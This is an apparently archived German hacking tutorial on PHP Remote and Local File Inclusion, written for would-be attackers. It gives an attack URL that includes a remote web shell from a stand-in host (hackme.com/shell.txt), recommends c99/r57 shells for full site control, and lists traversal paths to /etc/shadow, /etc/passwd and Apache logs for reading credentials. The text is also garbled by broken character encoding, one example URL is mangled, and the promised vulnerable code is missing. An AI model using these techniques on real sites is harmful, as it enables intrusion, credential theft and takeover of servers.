#ruling the web since 9/2008
Author: int_main();
Website: 0xFEE1DEAD.de
Remote/Local File Inclusion Basic Tutorial
1.] Was sind Remote/Local File Inclusions?
2.] Wie funktioniert es?
2.] Ein verwundbarer Code
3.] Beispiele
4.] LFI: Tipps
5.] RFI: Tipps
6.] Wie finde ich LFI / RFI L€“јcken?
In diesem Tutorial werden euch grunds€“¤tzlich die Basics zu Remote & Local File Inclusion erl€“¤utert.
Um n€“¤her an die Materie zu kommen, m€“јsst ihr euch mit diesem Tutorial auseinandersetzen und herumprobieren.
Spielen, learning by doing.
Was sind Remote File Inclusions?
Ausf€“јhrungen von unkontrolliertem Schadcode in (meist) PHP Software.
Angriffe geschehen meistens €“јber unvalidierte Parameter in $_GET*-Form (get-Parameter).
*Ein in der Sprache PHP genannter GET Parameter ist Folgendes, wie ihr es aus vielen Seiten kennt:
Bsp.: http://vuln.com/phpscript/index.php?site=
Als Schadcode w€“¤re z.B eine PHP-Shell (c99,r57) zu bezeichnen.
Wie funktioniert es?
Eine Remote File Inclusion funktioniert €“јberall dort, wo auch ein unvalidierter und damit verwundbarer Parameter vorhanden ist.
Was sind Local File Inclusions?
Local File Inclusions funktionieren €“¤hnlich wie RFIs, durch verwundbare Parameter, jedoch k€“¶nnen nur lokale Dateien eingebunden und aufgerufen werden. Dies macht es f€“јr einen Angreifer z.B bei Unix Servern interessant, da dort eine password-Datei im Verzeichnis /etc/shadow vorhanden ist.
Bei noch zuvorkommender Fehlkonfiguration sind die root-Daten schnell f€“јr den Angreifer auslesbar. Nat€“јrlich lassen sich auch andere Dateien damit auslesen, wie z.B. bei Apache Servern die Error Logs (mehr dazu unter TIPPS).
Ein verwundbarer Code
F€“јr jeden PHP Programmierer ist das Sicherheitsdenken am Wichtigsten.
Ein verwundbarer Programmcode in PHP, mit dem eine File Inclusion m€“¶glich w€“¤re, w€“јrde so aussehen:
In unserem Webbrowser w€“јrde dies so aussehen:
http://site.com/phpscript/site.php?site=
Der Angreifer w€“јrde die ungesch€“јtzte URL so ausnutzen:
http://site.com/phpscript/site.php?s€²€‚¦com/shell.txt?
Die Shell muss in TXT form auf eurem Server liegen, da sie sonst eventuell nicht richtig vom anderen Server ausgef€“јhrt (interpretiert) wird.
Also w€“јrde €“јber
€²€‚Ñšhttp://site.com/phpscript/site.php?site=http://hackme.com/shell.txt?€²€‚ü
der Schadcode in http://hackme.com/shell.txt? auf durch unser verwundbares ausgef€“јhrt werden.
LFI: Tipps
Bei LFIs lassen sich z.B. Rootverzeichnisse €“јberspringen, indem man ein ../ setzt. Diese Punkte bedeuten, dass dort das jeweilige Verzeichnis €“јbersprungen wird. Dadurch k€“¶nnen wir meist, bei vollen Rechten, jeden entsprechenden Serverpfad aufrufen und uns so zu vielen Dateien Einblick verschaffen.
Die password-Datei eines Linuxservers befindet sich meistens im Pfad etc/pwd oder etc/passwd. Dies ist jedoch von Server zu Server unterschiedlich, manchmal ist es auch ../etc/pwd oder auch ../../etc/pwd oder auch manchmal var/etc/pwd. Da gilt es nur, herumzuprobieren.
Bei neueren Servern befinden sich in der pwd Datei allerdings nur die User, um an die Passw€“¶rter heranzukommen m€“јssen wir an die Shadow-Datei herankommen.
Dazu nehmen wir die Datei etc/shadow, die alle Passw€“¶rter enth€“¤lt. Der Pfad kann wie oben leicht variieren.
RFI: Tipps
Wenn man eine RFI L€“јcke gefunden hat, kann man diese am besten mit einer Shell ausnutzen. Im Internet findet man genug Shells wie c99, r57. Das sind PHP-Skripte und werden auf einen Webspace hochgeladen. Mit der RFI-L€“јcke inkludieren wir dann die Shell in die Originalseite, wie man es mit dem PHP-Befehl include() tut. So hat man die komplette Kontrolle €“јber die Internet-Seite. Man kann mit einer Shell Dateien l€“¶schen, Datenbanken auslesen, etc.
Pfade, die f€“јr eine Local/Remote Inclusion relevant sein k€“¶nnen:
(Unix Benutzer- und Passwortfiles.)
/etc/passwd
/etc/shadow
/etc/group
/etc/security/group
/etc/security/passwd
/etc/security/user
/etc/security/environ
/etc/security/limits
/usr/lib/security/mkuser.default
(Apache Error Log Pfade
../apache/logs/error.log
../apache/logs/access.log
../../apache/logs/error.log
../../apache/logs/access.log
../../../apache/logs/error.log
../../../apache/logs/access.log
../../../../../../../etc/httpd/logs/acces_log
../../../../../../../etc/httpd/logs/acces.log
../../../../../../../etc/httpd/logs/error_log
../../../../../../../etc/httpd/logs/error.log
../../../../../../../var/www/logs/access_log
../../../../../../../var/www/logs/access.log
../../../../../../../usr/local/apache/logs/access_ log
../../../../../../../usr/local/apache/logs/access. log
../../../../../../../var/log/apache/access_log
../../../../../../../var/log/apache2/access_log
../../../../../../../var/log/apache/access.log
../../../../../../../var/log/apache2/access.log
../../../../../../../var/log/access_log
../../../../../../../var/log/access.log
../../../../../../../var/www/logs/error_log
../../../../../../../var/www/logs/error.log
../../../../../../../usr/local/apache/logs/error_l og
../../../../../../../usr/local/apache/logs/error.l og
../../../../../../../var/log/apache/error_log
../../../../../../../var/log/apache2/error_log
../../../../../../../var/log/apache/error.log
../../../../../../../var/log/apache2/error.log
../../../../../../../var/log/error_log
../../../../../../../var/log/error.log
Wie finde ich LFI / RFI L€“јcken?
LFI:
Hierzu sucht man nach dem gew€“¶hnlichen Muster, wie z.B. bei einer SQL Injection.
z.B. index.php?site=
Wir k€“¶nnen es also Versuchen und f€“јgen dann ../ hinzu.
z.B. index.php?site=../
Bekommen wir dadurch einen Fehler oder springen auf eine andere Seite, wo wir vorher waren, ist die Chance recht gro€“ÑŸ, dass man eine LFI L€“јcke gefunden hat.
RFI:
Hierzu sucht man nach dem gew€“¶hnlichen Muster, wie z.B. bei einer SQL Injection und/oder LFI.
z.B. index.php?site=
Meist gibt der PHP Interpreter nun eine Fehlermeldung aus wie z.B
Warning: include() [function.include]: Failed opening [….]
Um zu sehen ob fremde Seiten eingef€“јgt werden k€“¶nnen, benutzen wir ganz einfach Google. Wir h€“¤ngen also http://www.google.de an.
z.B. index.php?site=http://www.google.de
Es klingt zwar verr€“јckt, aber wenn wir jetzt Google sehen, haben wir eine RFI L€“јcke gefunden, das k€“¶nnen wir dann mit einer Shell ausbauen. Das funktioniert €“јbrigens auch mit jeder anderen Internetseite!
Weiterf€“јhrendes:
http://stuff.n00bor.org/Shell_per_LFI/Shell_per_LFI.htm (Wie man durch eine LFI, und den Error log eine Shell einbringt)
# milw0rm.com [2009-08-04]